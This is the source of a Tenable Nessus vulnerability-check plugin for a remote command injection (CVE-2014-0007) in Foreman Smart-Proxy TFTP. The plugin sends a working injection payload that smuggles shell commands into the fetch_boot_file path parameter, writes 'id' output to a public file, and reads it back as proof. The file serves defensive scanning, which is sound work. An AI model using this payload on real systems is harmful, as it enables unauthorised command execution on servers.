| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(76578);
script_version("1.7");
script_cvs_date("Date: 2018/11/28 22:47:41");
script_cve_id("CVE-2014-0007");
script_bugtraq_id(68117);
script_name(english:"Foreman Smart-Proxy TFTP Remote Command Injection");
script_summary(english:"Checks the Foreman Smart-Proxy TFTP version.");
script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a remote command injection
vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote web server is running a version of Foreman Smart-Proxy TFTP
that is affected by a remote command injection vulnerability. An
attacker can send a specially crafted URL that results in the
execution of arbitrary commands.");
script_set_attribute(attribute:"see_also", value:"https://projects.theforeman.org/issues/6086");
script_set_attribute(attribute:"solution", value:"Update to version 1.4.5 / 1.5.1 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2014/06/05");
script_set_attribute(attribute:"patch_publication_date", value:"2014/06/18");
script_set_attribute(attribute:"plugin_publication_date", value:"2014/07/17");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:theforeman:foreman");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_end_attributes();
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2014-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("foreman_smart_proxy_tftp_detect.nbin");
script_require_keys("installed_sw/Foreman Smart-Proxy TFTP");
script_require_ports("Services/www", 8443);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("data_protection.inc");
app_name = "Foreman Smart-Proxy TFTP";
get_install_count(app_name:app_name, exit_if_zero:TRUE);
port = get_http_port(default:8443);
vuln = FALSE;
# Only 1 install of the server is possible.
install = get_installs(app_name:app_name, port:port);
if (install[0] == IF_NOT_FOUND) audit(AUDIT_WEB_APP_NOT_INST, app_name, port);
install = install[1][0];
path = install['path'];
url = build_url(port:port, qs:path);
file_name = "nessus_" + unixtime() + ".txt";
post_data =
'--' + bound + '\r\n' +
'Content-Disposition: form-data; name="scanner"\r\n' +
'\r\n' +
'Nessus\r\n' +
'--' + bound + '--';
bound = "_bound_nessus_" + unixtime();
headers = make_array(
"Content-type", "multipart/form-data; boundary=" + bound,
"Accept", "application/json"
);
exp_req =
"/fetch_boot_file?prefix=a&path=%3Becho%20%60id%3Bpwd%60%20%3E%20public%2F" +
file_name +
"%3Becho";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";
res = http_send_recv3(
method: "POST",
item: url + exp_req,
data: post_data,
add_headers: headers,
port: port,
exit_on_fail: TRUE
);
sleep(1);
verify_url = url - "tftp" + file_name;
res = http_send_recv3(
method: "GET",
item: verify_url,
port: port,
exit_on_fail: TRUE
);
output = res[2];
if (egrep(pattern:cmd_pat, string:output))
{
vuln = TRUE;
get_up_path = "/";
get_path = strstr(output, "/");
get_up_path = chomp(get_path) + "/public/";
if (!isnull(strstr(output, "uid")))
output = strstr(output, "uid") - get_path;
}
if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app_name, url);
if (report_verbosity > 0)
{
snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
report =
'\n' + 'Nessus was able to verify the issue exists using the following request :' +
'\n' +
'\n' + verify_url +
'\n' +
'\n' + 'Note: This file has not been removed by Nessus, and will need to be' +
'\n' + 'manually deleted (' + get_up_path + file_name + ').' +
'\n';
if (report_verbosity > 1)
{
report +=
'\n' + 'This file was created using a POST request to : ' +
'\n' + url + exp_req +
'\n' +
'\n' + 'To test the issue, Nessus had ' + app_name + ' execute the command "id"' +
'\n' + 'which produced the following output :' +
'\n' +
'\n' + snip +
'\n' + data_protection::sanitize_uid(output:chomp(output)) +
'\n' + snip +
'\n';
}
security_hole(extra:report, port:port);
}
else security_hole(port);
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